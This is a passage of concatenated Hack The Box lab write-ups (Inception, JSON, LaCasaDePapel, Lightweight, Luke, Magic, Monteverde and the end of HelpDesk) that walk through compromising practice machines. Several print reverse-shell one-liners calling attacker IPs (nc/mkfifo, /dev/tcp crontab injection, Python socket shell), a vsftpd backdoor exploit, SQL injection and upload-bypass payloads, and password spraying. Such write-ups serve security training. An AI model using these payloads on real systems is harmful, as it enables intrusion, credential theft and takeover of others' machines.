Password: d318f44739dced66793b1a603028
Password: d318f44739dced66793b1a6030281
Password: d318f44739dced66793b1a60302813
---------------------- SNIP ----------------------
Password: d318f44739dced66793b1a603028133a76ae68
Password: d318f44739dced66793b1a603028133a76ae680
Password: d318f44739dced66793b1a603028133a76ae680e
Similarly the email has to be found out. The script would need minor adjustments. Extend the
character set to include @, _, . and change the column name to email.
$ python brute.py
Email: s
Email: su
Email: sup
Email: supp
-------------- SNIP ---------------
Email: [email protected]
Email: [email protected]
Page 11 / 15
Now we have the credentials for admin i.e [email protected] / Welcome1. We can login to
SSH. The username needs to be guessed which is “help”.
ALTERNATE METHOD
Earlier we found the HelpDesk version to be vulnerable to arbitrary file upload too. So we could
possibly upload a php reverse shell and trigger it.
Download the exploit script from here and the php reverse shell from h
ere. The script exploits the
lack of randomness in the name of the uploaded file as it is based on time. So by quickly brute
forcing the md5 hash at the same time we can discover the renamed file. But before that we
need to figure out the upload location. Going back to the github page to the
submit_ticket_controller.php we find this snippet,
The file gets moved to $uploaddir which is UPLOAD_DIR . ‘tickets/’ where UPLOAD_DIR is the
global upload directory i.e /uploads defined at
Page 12 / 15
https://github.com/evolutionscript/HelpDeskZ-1.0/blob/006662bb856e126a38f2bb76df44a2e4e3
d37350/includes/global.php#L18.
Now that we know the upload location, navigate to the Submit a Ticket page and create a ticket.
Change the IP Address and port in the php script and upload it.
The page returns an error saying “File is not allowed” but the file is already uploaded before the
extension check takes place, if we quickly run the script,
Page 13 / 15
Note: Due to timezones the exploit might not work out of the box. This can be fixed by changing
local time to that of the server. The server’s time can be seen in HTTP Response.
PRIVILEGE ESCALATION
On enumerating the box the kernel version is found to be 4.4.0-116-generic. A google search
results in a kernel exploit for the version.
Start a simple http server and transfer it to the box then execute it.
Page 14 / 15
The exploit directly results in a root shell.
Page 15 / 15
Inception
13th April 2018 / Document No D18.100.02
Prepared By: Alexander Reid (Arrexel)
Machine Author: rsp3ar
Difficulty: Hard
Classification: Official
Page 1 / 10
SYNOPSIS
Inception is a fairly challenging box and is one of the few machines that requires pivoting to
advance. There are many different steps and techniques needed to successfully achieve root
access on the main host operating system. Good enumeration skills are an asset when
attempting this machine.
Page 2 / 10
Enumeration
Nmap
Page 3 / 10
Squid
Page 4 / 10
Exploitation
dompdf
Inspecting the source of the default website on port 80 reveals a reference to dompdf.
Browsing to /dompdf reveals a copy of dompdf that is vulnerable to local file inclusion (v0.6.0).
The version can be easily identified by viewing the VERSION file.
Page 5 / 10
Exploit: https://www.exploit-db.com/exploits/33004/
Using the exploit is fairly trivial. Using php://filter, it is possible to base64-encode a file on the
target and add its contents to the generated PDF file. With this technique, it is possible to obtain
the Apache default site configuration file from /etc/apache2/sites-enabled/000-default.conf
The default site configuration reveals the path to a webdav installation, as well as the local path
to the webdav credentials. The credentials can be obtained using the same technique from
/var/www/html/webdav_test_inception/webdav.passwd
After obtaining the credentials, the hash can be easily cracked using Hashcat or John The Ripper
with the rockyou.txt wordlist.
Page 6 / 10
Webdav
Using the previously obtained credentials, it is possible to log into the webdav instance at
/webdav_test_inception, however it returns 403 forbidden. Using the same credentials, it is
possible to upload a PHP script to the webdav directory to obtain remote code execution. This
can be achieved multiple different ways, however using cURL is likely the easiest.
While an advanced web-based shell is not required, it greatly simplifies things moving forward as
it is not possible to open a traditional reverse connection. It is also possible to obtain an
interactive shell using named pipes, but that technique is a bit overkill for what is required on this
machine.
Page 7 / 10
Privilege Escalation
Cobb
Using the password with the username cobb (which can be obtained from /etc/passwd) on SSH
over proxychains immediately grants a shell. Running sudo -l reveals that cobb has full sudo
access, and root can be obtained with the command sudo su -
Page 8 / 10
Root
Running LinEnum or other enumeration scripts do not reveal much in this instance. The most
important information is that the machine appears to be running on 192.168.0.10. This, combined
with the absence of a flag in root.txt, indicates that the machine is likely running in some type of
container.
A bit of searching finds that the gateway (192.168.0.1) can be accessed from the container. At this
point, it is easier to transfer an nmap binary to the target and run the scan directly from the
container/guest operating system. To make uploading easier, the webdav exploit can be used
again.
Running nmap reveals several services running on the gateway, including FTP, SSH and a
nameserver.
Page 9 / 10
Attempting to connect via FTP quickly reveals that anonymous login is enabled, and limited ability
to read files is gained. A bit of searching finds /etc/default/tftpd-hpa
Accessing the host machine via TFTP allows access to additional files which are not accessible
over FTP. Most notably /etc/crontab, which has been modified from the default. The crontab is
set to run apt update every 5 minutes. Uploading a malicious apt config will force the specified
script to run, which can be used to obtain the root flag or a reverse connection.
Page 10 / 10
JSON
07th February 2020 / Document No D20.100.58
Difficulty: Medium
Classification: Official
Synopsis
JSON is a medium difficulty Windows machine running an IIS server with an ASP.NET application.
The application is found to be vulnerable to .NET deserialization, which is exploited using
ysoserial.net. A custom .NET program is found to be installed, which on reverse engineering
reveals encrypted credentials for an administrator. These credentials can be decrypted and used
to gain access to the FTP folder.
Skills Required
Enumeration
Deserialization
Reverse Engineering
Skills Learned
Using ysoserial.net
dnSpy
Enumeration
Nmap
A full-port Nmap scan reveals a Windows box running FTP and IIS servers on their default ports.
Nmap finds the OS version to be Windows 2008 R2 or 2012. WinRM is found to be open on port
5985, which could help with lateral movement later.
IIS
A login page can be found on browsing to port 80.
The following request can be observed after turning on Burp intercept and trying to login.
After attempting to login using common credentials such as admin/admin , we gain access to the
dashboard.
It appears to be JSON used by the server to identify the user. Let's try changing the values by
adding quotes to check if some kind of SQL injection is possible.
Single quotes are added to the Id and UserName values. Send the request to Repeater, and
swap the existing token with the forged one.
The server returns a 500 Internal Server Error , which states that the JSON.Net object can't
be deserialized. This informs us about two things; that the API is written in ASP.NET, and that the
server deserializes JSON objects that is receives. Searching for vulnerabilities related to JSON.Net
deserialization, we come across ysoserial.net, which can generate .NET deserialization payloads.
Download the binary from the releases section and run it on a Windows box. Let's create a
payload to ping ourselves from the box.
The payload format is set to Json.Net and the gadget type is ObjectDataProvider . The -c flag
is used to specify the command to execute and the output format is set to base64. Copy the
generated payload and place it as the Bearer value in the HTTP request. Before sending the
request, start an ICMP listener using tcpdump .
The server throws an error in the response, but ICMP requests can be observed on the tcpdump
listener.
Foothold
Having confirmed code execution, we can try getting a reverse shell on the box. We can use a
netcat binary to send a reverse shell to ourselves. Start an smbserver locally to host the binary.
Next, copy the nc.exe binary to the current folder, and create a JSON.Net payload for the
command:
The command above uses nc.exe present on our share to send a reverse shell to port 443.
Swap the older payload with the newly generated one and forward the request, after which a
shell as userpool should be received.
Privilege Escalation
Looking at the installed programs, a program named Sync2Ftp is found to be installed.
The folder is found to contain a binary and configuration file. These could be of interest as the
application isn't standard, and could be user defined. Copy these files to the SMB share running
on our host.
Running file on the binary reveals that it's a .NET executable. The config file is found to contain
some encrypted fields and configuration values.
dnSpy can used to reverse and analyze .NET executables. Open up the binary in dnSpy x86 and
analyze the SyncLocation assembly.
Looking at the Main method, it's seen the binary creates a new service and registers the
Service1 object. Let's look at the Service1 class next.
The Copy method reads various values from the configuration file and then decrypts them using
the Crypto class. It then uses the FTP STOR command to transfer all files in the the
sourcefolder path to the FTP folder. Let's look at how the values are encrypted and decrypted.
The Encrypt method takes in two arguments, i.e. the string to encrypt and boolean value. It
reads the SecurityKey value from the config file, and hashes it using MD5 if useHashing is set
to true. The plaintext value is then encrypted using the 3DES encryption algorithm in ECB mode
with PKCS7 padding, and returned base64 encoded.
Similarly, the Decrypt method reads the key and hashes it based on the boolean value. It then
uses the 3DES algorithm to decrypt and return the plaintext string. Let's write a small python
script to decrypt this manually.
key = b"_5TL#+GWWFv6pfT3!GXw7D86pkRRTv+$$tk^cL5hdU%"
hashedKey = md5(key).digest()
usernameData = b64decode("4as8gqENn26uTs9srvQLyg==")
username = desKey.decrypt(usernameData)
print(f"Username:
{username.decode()}")
passwordData = b64decode("oQ5iORgUrswNRsJKH9VaCw==")
password = desKey.decrypt(passwordData)
print(f"Password:
{password.decode()}")
The script uses the pyDes library to decrypt the username and password from the config file. The
securityKey is hashed using the MD5 algorithm. The decryption key is created using the
triple_des method, which is used to decrypt the username and password respectively.
Running the script returns the username superadmin and password funnyhtb . Let's try logging
into FTP with these credentials.
The login was successful and can be used to read the root flag.
Alternate Method
As the userpool user is a service account, it holds the SeImpersonate privilege.
We can leverage this privilege on Windows server 2012 by using the Juicy Potato exploit.
Download the binary from releases, and place it in the share. Next, copy JuicyPotato.exe as well
as nc.exe to the Public folder.
Create a bat file with a reverse shell command such as:
A list of CLSIDs for Windows Server 2012 can be found here. Any CLSID belonging to NT
AUTHORITY\SYSTEM can be used.
Page 1 / 13
SYNOPSIS
LaCasaDePapel is an easy difficulty Linux box, which is running a backdoored vsftpd server. The
backdoored port is running a PHP shell with disabled_functions. This is used to read a CA
certificate, from which a client certificate can be created. The HTTPS page is vulnerable to LFI,
leading to exposure of SSH keys. A configuration file can be hijacked to gain code execution as
root.
Page 2 / 13
ENUMERATION
NMAP
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.131 | grep ^[0-9] | cut -d
'/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.10.131
There’s vsftpd running on port 21 along with HTTP and HTTPS on their respective ports.
Page 3 / 13
HTTP
Navigating to port 80 we find a page which needs an OTP supplied by a QRCode. The page asks
us to install Google Authenticator
Scanning the code using Google Authenticator on an Android phone gives us a code but it
refuses to work either way. So, maybe it’s for internal users only. Let’s keep this aside and come
back later.
HTTPS
Browsing to HTTPS shows us an error that we need a client certificate to continue which we don’t
possess at the moment.
Page 4 / 13
VSFTP
As seen from nmap, VSFTP is version 2.3.4. A quick google search about it yields this. It seems
that this version was backdoored. Let’s try to replicate the exploit code.
The code just tries a failed login, which triggers the backdoor on port 6200 and then executes
commands from it. Let's do that using a small python script.
import socket
import os
import time
sock.send('USER :)\n')
sock.send('PASS HTBPass\n')
time.sleep(2)
sock.close()
exploit("10.10.10.131", 21)
The code is pretty simple, it just creates a connection to the FTP port, sends in commands and
then quickly connects to the backdoored port at 6200. Running the script,
We see that instead of being a system shell it’s a Psy shell. Searching about the Psy Shell we find
that it’s an interactive debugger for PHP. So this should allow us to execute PHP commands.
Page 5 / 13
PSY SHELL
We find that shell_exec is disabled which prevents us from executing system commands.
However we can still list directories and read files using scandir() and file_get_contents().
print_r(scandir("/"))
echo file_get_contents("/etc/passwd")
Page 6 / 13
We already know that we need a client certificate to access the service on HTTPS. In order to
create one we need the CA certificate. Let’s find it.
Let’s inspect each one of them. After some enumeration we see ca.key in /home/nairobi.
Page 7 / 13
CREATING CLIENT CERTIFICATE
Now that we have the CA certificate let’s create a client certificate for ourselves. To create it first
download the server certificate. Navigate to https://10.10.10.131, then click on the lock icon on the
URL bar.
And then Connection > More Information > View Certificate. Then in the popup window click on
Details > Export.
Page 8 / 13
Now upload the client.p12 to the browser’s store. In firefox, go to Preferences > Privacy & Security
> View Certificates. Then in the Your Certificates section click on Import and import the cert.
Navigating to the page now should prompt for certificate selection, and we should get into the
private area.
Clicking on a season takes us to a video downloader. The link to the folder is like,
https://10.10.10.131/?path=SEASON-2
Page 9 / 13
https://10.10.10.131/?path=../
https://10.10.10.131/file/U0VBU09OLTIvMDEuYXZp
Decoding the base64 part we see that it’s a path to the video,
Page 10 / 13
FOOTHOLD
curl -k https://10.10.10.131/file/Li4vLnNzaC9pZF9yc2E=
We see that it worked and we have the private key. Copy it to a file and use it to ssh in. As we
don’t know the username yet, we’ll try each one from the list we obtained earlier.
Trying each one of them we find that the key belongs to “professor”.
Page 11 / 13
PRIVILEGE ESCALATION
Let’s enumerate the running crons using pspy.
wget
https://github.com/DominicBreuker/pspy/releases/download/v1.0.0/pspy32s
scp -i key pspy64s [email protected]:/tmp/pspy
ssh -i key [email protected]
cd /tmp
chmod +x pspy
./pspy
We see that it’s owned by root, but we don’t have read or write permissions to it. However,
there’s another file named memcached.ini which is readable. Let’s see what it has,
It looks like it’s the configuration used by supervisord, which handles the services, and we see
the command we saw earlier using pspy.
Page 12 / 13
Even though we can’t write to the file, we own the folder or the inode. An inode is a data
structure which stores the file and folder information. Using this to our advantage we can rename
the file. Renaming a file just changes the inode mapping and not it’s permissions.
mv memcached.ini ini.bak
ls -la ini.bak
We see that the file permissions are the same, and only the file is renamed. Let’s create a script
which sends us a reverse shell.
cd /tmp
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.32
1234 >/tmp/f' >> shell.sh
chmod +x shell.sh
Now go back to our home folder and create a new memcached.ini with the following contents.
[program:memcached]
command = su -c /tmp/shell.sh
Now when the cron runs the next time, we should have a root shell.
Page 13 / 13
Lightweight
27th April 2019 / Document No D19.100.17
Prepared By: MinatoTW
Machine Author: 0xEA31
Difficulty: Medium
Classification: Official
Page 1 / 16
SYNOPSIS
Lightweight is a pretty unique and challenging box which showcases the common mistakes made
by system administrators and the need for encryption in any kind protocol used. It deals with the
abuse of Linux capabilities which can be harmful in bad hands and how unencrypted protocols
like LDAP can be sniffed to gain information and credentials.
Page 2 / 16
ENUMERATION
NMAP
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.119 | grep ^[0-9] | cut -d
'/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.10.119
The flag -h is used to specify the host, -x to specify anonymous bind and -b to mention the
Basedn to use.
Page 3 / 16
root@Ubuntu:~/Documents/HTB/Lightweight# ldapsearch -h 10.10.10.119 -x -b
"dc=lightweight,dc=htb"
# extended LDIF
#
# LDAPv3
# requesting: ALL
# lightweight.htb
dn: dc=lightweight,dc=htb
objectClass: top
objectClass: dcObject
objectClass: organization
o: lightweight htb
dc: lightweight
# Manager, lightweight.htb
dn: cn=Manager,dc=lightweight,dc=htb
objectClass: organizationalRole
cn: Manager
# People, lightweight.htb
dn: ou=People,dc=lightweight,dc=htb
Page 4 / 16
objectClass: organizationalUnit
ou: People
# Group, lightweight.htb
dn: ou=Group,dc=lightweight,dc=htb
objectClass: organizationalUnit
ou: Group
Page 5 / 16
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: top
objectClass: shadowAccount
userPassword::
e2NyeXB0fSQ2JHhKeFBqVDBNJDFtOGtNMDBDSllDQWd6VDRxejhUUXd5R0ZRdms
zYm9heW11QW1NWkNPZm0zT0E3T0t1bkxaWmxxeXRVcDJkdW41MDlPQkUyeHdYL1FFZmpkUlF6Z2
4x
shadowLastChange: 17691
shadowMin: 0
shadowMax: 99999
shadowWarning: 7
loginShell: /bin/bash
uidNumber: 1001
gidNumber: 1001
homeDirectory: /home/ldapuser2
# search result
search: 2
result: 0 Success
Page 6 / 16
# numResponses: 9
# numEntries: 8
APACHE - PORT 80
On port 80 there’s a website which prevents bruteforcing so that we can’t use tools like gobuster
or dirbuster.
The status tab lists the IP addresses blocked by the server and the user tab automatically adds a
user on the box with username and password equal to our IP address.
Page 7 / 16
FOOTHOLD
With the credentials provided it’s possible to login to the box using ssh.
ssh [email protected]
#password: 10.10.16.25
ENUMERATION
After gaining a shell LinEnum.sh is executed with thorough mode enabled to enumerate the box.
cd /tmp
wget 10.10.16.25/LinEnum.sh
bash LinEnum.sh -t 1
On running the script an unusual binary is seen with it’s capability bit set. Linux capabilities is a
feature which helps System Administrators to give a binary certain permissions which are needed
to perform daily tasks without giving a user root permissions or making it a setuid binary. To read
more refer to the manpage i.e “man capabilities” or visit this page -
http://man7.org/linux/man-pages/man7/capabilities.7.html .
The binary is tcpdump which is supposed to be run as root as it needs raw socket access.
Page 8 / 16
The binary tcpdump has cap_net_admin,cap_net_raw+ep capabilities enabled.
getcap /usr/sbin/tcpdump
According to the man page cap_net_admin provides the ability to perform network related
operations whereas cap_net_raw allows binding to ports and creating raw packets. The option
ep stands “effective and permitted” using a + sign means adding the capability.
This privilege can be abused by sniffing OpenLDAP traffic as it uses unencrypted connections in
order to find credentials or information from bind requests.
The -i flag is used to specify the interface to sniff which is localhost in this case. We sniff on port
389 and turn on verbose to see the captured packets. Let it run for 5 - 10 minutes and then
transfer it over to inspect.
Page 9 / 16
It sniffed 11 packets valid for our filter. Transfer it and open it in wireshark.
Set the direction towards port 389. The password for ldapuser2 got captured in clear text as
“8bc8251332abe1d7f105d3e53ad39ac2” as there was no encryption enabled.
Page 10 / 16
LATERAL MOVEMENT
The password gained by sniffing can be used to su as ldapuser2.
su - ldapuser2
Page 11 / 16
On trying to extract the files it is found to be password protected. The password for ldapuser2
doesn’t work. So let’s try to crack it using john and rockyou.txt.
The program 7z2john.pl from John-the-ripper suite helps in creating a hash for the 7z archive.
In a couple of minutes the password should be cracked and it’s “delete”. Extracting the contents
results in few php files which are running on the server.
7z x backup.7z # password : delete
Page 12 / 16
On examining the files, the file status.php contained the logic responsible for interacting with the
LDAP server from which we obtain the password for ldapuser1.
Page 13 / 16
PRIVILEGE ESCALATION
LINUX CAPABILITIES
After logging in as ldapuser1 enumeration is done using LinEnum.sh or even manually. Listing the
binaries with capabilities enabled fetches a new binary.
We notice openssl apart from the others which we had found earlier. The capability set ep as
discussed earlier stands for “effective and permitted” but there is no other capability attached to
it. From the manpages,
Page 14 / 16
Lets try to read a privileged file using openssl like /etc/shadow.
It can be seen that openssl was able to read the shadow file due to it’s capabilities set even when
we are a normal user.
cd /tmp
cp /etc/crontab .
echo '* * * * * root /bin/bash -i >& /dev/tcp/10.10.16.25/4444 0>&1' >>
crontab
base64 crontab > crontab.b64
/home/ldapuser1/openssl enc -d -base64 -in crontab.b64 -out /etc/crontab
Page 15 / 16
And as expected the /etc/crontab gets overwritten by our version.
Page 16 / 16
Luke
26th May 2019 / Document No D19.100.40
Prepared By: MinatoTW
Machine Author: H4d3s
Difficulty: Medium
Classification: Official
Page 1 / 13
SYNOPSIS
Luke is a medium difficulty Linux box featuring server enumeration and credential reuse. A
configuration file leads to credential disclosure, which can be used to authenticate to a NodeJS
server. The server in turn stores user credentials, and one of these provides access to a
password protected folder containing configuration files. From this, the Ajenti password can be
obtained and used to sign in, and execute commands in the context of root.
Page 2 / 13
ENUMERATION
NMAP
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.137 | grep ^[0-9] | cut -d
'/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.10.137
FTP is open with anonymous access allowed. There are two apache web servers running on port
80 (hosting the Ajenti which is a server management application) and 8000. Port 3000 is running
a Node server with Express framework.
Page 3 / 13
FTP
Logging into FTP as anonymous we find a folder with a text file. Download it using GET.
Dear Chihiro !!
As you told me that you wanted to learn Web Development and Frontend, I can
give you a little push by showing the sources of
the actual website I've created .
Normally you should know where to look but hurry up because I will delete
them soon because of our security policies !
Derry
The note says that he placed the source code somewhere on the server.
Page 4 / 13
HTTP
GOBUSTER
Gobuster is ran with the medium dirbuster wordlist and PHP extension. We’ll also search for 401
unauthorized codes in case of basic auth pages.
Page 5 / 13
We see login.php and config.php files. Let’s see what config.php holds.
It contains the PHP code to establish a database connection. Let’s check login.php.
It’s a normal login page and trying the credentials from config.php fails. Let’s check out
/management now.
Page 6 / 13
This needs us to authenticate in order to view the content. Let’s save this for later. Apart from
these, there’s a /member directory which is empty.
NODE SERVER
Navigating to port 3000 we receive an error message.
This is due to the absence of the Authorization header with a JWT cookie.
GOBUSTER
Page 7 / 13
Going to /login we see a message “please auth”.
Let’s try sending it a POST request with curl with some credentials.
curl -X POST http://10.10.10.137:3000/login -d "username=admin&password=admin" ;
echo
The page replies with forbidden. Let’s try again with the credentials we gained earlier.
This also returns a forbidden message. However, after changing the username to “admin”
authentication is successful.
Now we have the JWT cookies and can authenticate against the previous application.
Page 8 / 13
And we see the Welcome message. Let’s view the /users path using this cookie.
We see the user information and their roles. Let’s try going to /users/:username.
Page 9 / 13
curl -s http://10.10.10.137:3000/users/Admin -H 'Authorization: Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNT
U4ODU1NTYzLCJleHAiOjE1NTg5NDE5NjN9.s7ZbrqwW--H6Ae-UWs3VeO21U2XRwfNEDeL0gAYI
pX0' | jq
The request is successful and we receive new credentials for Admin. The process is repeated for
the other three users.
Page 10 / 13
FOOTHOLD
After checking these credentials against the /management page, we find that the user Derry can
login.
Once logged in, we’ll find the configuration files and the login.php file. The config.php and
login.php are same as earlier but the config.json is different.
It seems to be the configuration for Ajenti on port 8000. Scrolling down a bit we see the
password :
Page 11 / 13
AJENTI
On the navigation bar to the left, there’s a “Terminal” tab. Click on this, click “New”, and then click
on the terminal. This should open up a root terminal.
Page 12 / 13
And we are root !
Page 13 / 13
Magic
15th June 2020 / Document No D20.100.76
Difficulty: Easy
Classification: Official
Synopsis
Magic is an easy difficulty Linux machine that features a custom web application. A SQL injection
vulnerability in the login form is exploited, in order to bypass the login and gain access to an
upload page. Weak whitelist validation allows for uploading a PHP webshell, which is used to gain
command execution. The MySQL database is found to contain plaintext credentials, which are re-
used for lateral movement. A path hijacking vector combined with assigned SUID permissions
leads to full system compromise.
Skills Required
Basic Knowledge of PHP
Linux Enumeration
Skills Learned
Basic SQL Injection
PHP File Upload Whitelist Bypass
Path Hijacking
SUID Abuse
Enumeration
Nmap
Nmap output reveals that this is an Ubuntu Linux machine featuring OpenSSH and Apache
servers on their default ports.
Apache
Navigating to the site on port 80 reveals the page below.
This reveals an image gallery. Clicking on the Login button in the footer takes us to a login page.
However, common credentials such as admin / password and admin / admin don't work.
Gobuster
Let's enumerate the web server to see if it is hosting any other files or directories.
We can attempt to bypass the login page through SQL injection. The Username and Password
fields of the login form are found to be vulnerable to SQL injection, using a basic payload such as
' or 1=1-- - .
It seems that the application logic checks if the file that is being uploaded has a jpeg , jpg or
png extension. According to the Apache Documentation, files can have more than one extension
while the order is normally irrelevant. When a file with multiple extensions gets associated with
both a media-type and a handler, it will result in the request being handled by the module
associated with the handler. For example, let's say that we have the file test.php.jpg with the
.php extension mapped to the handler application/x-httpd-php , and the .jpg extension
mapped to the image/jpeg media-type. Then, the application/x-httpd-php handler will be
used and it will be treated as an php file.
This could cause security issues, when a user is allowed to create files with multiple extensions in
a public upload directory. Consider an .htaccess file containing the configuration bellow, which
only allows the server to execute .phar , .php or .phtml files.
<FilesMatch ".+\.ph(ar|p|tml)$">
SetHandler application/x-httpd-php
</FilesMatch>
This is secure, as the latest versions of Apache are hardened against this attack. Sometimes
however, the regular expression can be misconfigured, making the Apache server to be
vulnerable to such an attack. The following configuration could be considered vulnerable. In this
case, the $ matching the end of the line is missing from the regex, meaning that that .php.jpg
would be associated with the PHP handler.
<FilesMatch ".+\.ph(ar|p|tml)">
SetHandler application/x-httpd-php
</FilesMatch>
if (exif_imagetype('image.gif') != IMAGETYPE_GIF) {
echo 'The picture is not a gif';
}
Magic bytes are used to identify the type of the file, and are usually found at the beginning of it.
Other files have the magic bytes at their offset, while some other files (such as plain text files) do
not have magic bytes at all. The position of the magic bytes also varies on different filesystems.
Adding magic bytes for the JPG format to our PHP file might let us bypass this check. We can refer
to the list of magic bytes here. Valid magic bytes for a JPG/JPEG file are.
1. FF D8 FF DB
2. FF D8 FF E0 00 10 4A 46 49 46 00 01
3. FF D8 FF EE
4. FF D8 FF E1 ?? ?? 45 78 69 66 00 00
Previous enumeration revealed the directory images/uploads . Let's check if the file was
uploaded there. Using the browser or cURL, the whoami command reveals that we have gained a
foothold on the machine as www-data .
http://10.10.10.185/images/uploads/webshell.php.jpg?0=whoami
Let's start a listener using Netcat, and attempt to get a reverse shell. A simple one liner bash
reverse shell such as bash -i >& /dev/tcp/10.10.14.7/4444 0>&1 didn't work. Let's try Python.
Typing the command which python in the webshell doesn't return any results, although which
python3 does.
The following Python reverse shell one-liner can be used. Substitute your IP address and port as
required.
http://10.10.10.185/images/uploads/webshell.php.jpg?0=python3 -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connec
t(("10.10.14.6",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
We can spawn a PTY shell using the following command.
cat /var/www/Magic/db.php5
However, trying to switch to the user theseus with this password results in an authentication
failure. The MySQL server is not externally exposed, and the MySQL client is not installed on the
machine.
Let's forward the MySQL port (3306) and attempt to connect using our client. In order to do this,
we can use Chisel. We can download a precompiled version of Chisel form here. Decompress it
by issuing the command gzip -d chisel_1.7.0-rc8_linux_amd64.gz , and then upload it to the
remote machine. First, start an HTTP server.
Next, issue the command below to download the binary, replacing it with your IP as appropriate.
cd /tmp
wget http://10.10.14.7:8080/chisel_1.7.0-rc8_linux_amd64
With chisel uploaded to the remote machine, we need to start a server locally in order to
perform a reverse pivot.
On the remote machine, run the following command to connect to the chisel server we just
started. This will forward traffic from port 3306 on localhost of the remote machine to port 3306
on localhost of our machine.
chmod +x chisel_1.7.0-rc8_linux_amd64
./chisel_1.7.0-rc8_linux_amd64 client 10.10.14.7:8000 R:3306:127.0.0.1:3306 &
Finally, we can use our mysql client to connect to the server using the credentials theseus /
iamkingtheseus .
show databases;
It is found to have a singe table called login . Let's examine the data it contains.
This reveals the plaintext password for user admin . The password Th3s3usW4sK1ng can be
reused to login as theseus .
su theseus
This reveals the interesting binary /bin/sysinfo . The SUID bit s ensures that the program is
run with root privileges. Executing the binary returns system information, which low-privileged
users don't usually have access to.
The strings command can be used to list printable strings contained in the binary. This reveals
the commands it invokes in order to retrieve system information.
strings /bin/sysinfo
Looking at the CPU Info section, the program is seen to use cat /proc/cpuinfo instead of
/bin/cat /proc/cpuinfo . The /bin directory containing the cat binary is included in the
user's PATH environment variable. The PATH variable is used by the system to identify the
directories it should search, in order to locate a binary. Let's list the contents of the PATH
variable.
echo $PATH
The operating system searches the directories in turn, starting with the first directory. In our case,
the first directory that the OS will search is /usr/bin/local . If the executable is not located
there, it will continue searching in the next directory and so on. This behaviour can be exploited
by modifying the PATH variable to contain a directory that is writeable by our current user. Users
are allowed to modify the variable and prepend a directory. Let's add the /tmp directory to the
PATH .
export PATH=/tmp:$PATH
echo $PATH
The directory /tmp has been added to the beginning of PATH. In order to proceed with this
attack, we need to upload a precompiled version of socat.
python -m SimpleHTTPServer 8080
Next, issue the command below to download the binary, replacing it with your IP as appropriate.
wget http://10.10.14.7:8080/socat
chmod +x socat
Let's create a simple script in bash, that sends a reverse shell to our local machine, using socat .
Call it cat , and make it executable.
Finally, type nc -lvp 5555 to start a listener on our local machine, and execute sysinfo once
again. This results in execution of /tmp/cat before /usr/local/sbin/cat , executing our
malicious script.
The root flag is located in /root/root.txt .
Monteverde
23d March 2020 / Document No D20.100.64
Difficulty: Medium
Classification: Official
Synopsis
Monteverde is an easy Windows machine that features Azure AD Connect. The domain is
enumerated and a user list is created. Through password spraying, the SABatchJobs service
account is found to have the username as a password. Using this service account, it is possible to
enumerate SMB Shares on the system, and the $users share is found to be world-readable. An
XML file used for an Azure AD account is found within a user folder and contains a password.
Due to password reuse, we can connect to the domain controller as mhope using WinRM.
Enumeration shows that Azure AD Connect is installed. It is possible to extract the credentials
for the account that replicates the directory changes to Azure (in this case the default domain
administrator).
Skills Required
Basic Windows Enumeration
Basic Active Directory Enumeration
Skills Learned
Password Spraying
Using sqlcmd
Azure AD Connect Password Extraction
Enumeration
Nmap
The scan reveals many ports open, including port 53 (DNS), 389 (LDAP) and 445 (SMB). This
reveals that the server is a domain controller. The domain is identified by Nmap as
MEGABANK.LOCAL .
Domain Enumeration
A good first step is to check for LDAP anonymous binds or SMB null sessions, as this would allow
us to enumerate the domain without credentials. Let's download windapsearch .
wget
https://raw.githubusercontent.com/ropnop/windapsearch/master/windapsearch.py
Next, issue the following command to check if LDAP anonymous binds are permitted.
cn: Guest
cn: AAD_987d7f2f57d2
cn: SABatchJobs
userPrincipalName: [email protected]
cn: svc-ata
userPrincipalName: [email protected]
cn: svc-bexec
userPrincipalName: [email protected]
cn: svc-netapp
userPrincipalName: [email protected]
The output returns a few interesting users. SABatchJobs might be a service account dedicated to
running batch jobs, and is perhaps unusual for having a mixed-case name. The presence of the
account AAD_987d7f2f57d2 is a strong indication that AD Connect is installed in the domain. AD
Connect is a tool that is used to synchronize an on-premise Active Directory environment to
Azure Active Directory.
Using windapsearch we can further enumerate domain groups, and see which users belong to
Remote Management Users . This group allows its members to connect to computers using
PowerShell Remoting.
Let's use smbclient to test for SMB null sessions. Command output reports that the anonymous
login attempt was successful, although it failed to list any shares. We can attempt to get
credentials and access it again.
enum4linux -a 10.10.10.172
We note that the Account Lockout Threshold is set to None , so we can attempt a password
spray in order to obtain valid credentials.
python windapsearch.py -u "" --dc-ip 10.10.10.172 -U | grep '@' | cut -d ' ' -f
2 | cut -d '@' -f 1 | uniq > users.txt
Foothold
We have our user list, and for our password spraying attempt we can use a very short list of
statistically likely passwords. It's worth appending the discovered usernames to this list, as having
a password of the username is unfortunately a common practice.
wget https://raw.githubusercontent.com/insidetrust/statistically-likely-
usernames/master/weak-corporate-passwords/english-basic.txt
cat users.txt >> english-basic.txt
Next, we can use CrackMapExec to perform the password spray, noting that there is no risk in the
accounts locking out owning to the absence of an account lockout policy.
This isn't successful. We can instead use smbmap to enumerate the remote file shares, which lists
our permissions.
Next, let's crawl the users$ share for potentially interesting files, such as Office documents, text
and XML files.
cat 10.10.10.172-users_mhope_azure.xml
��<Objs Version="1.1.0.1"
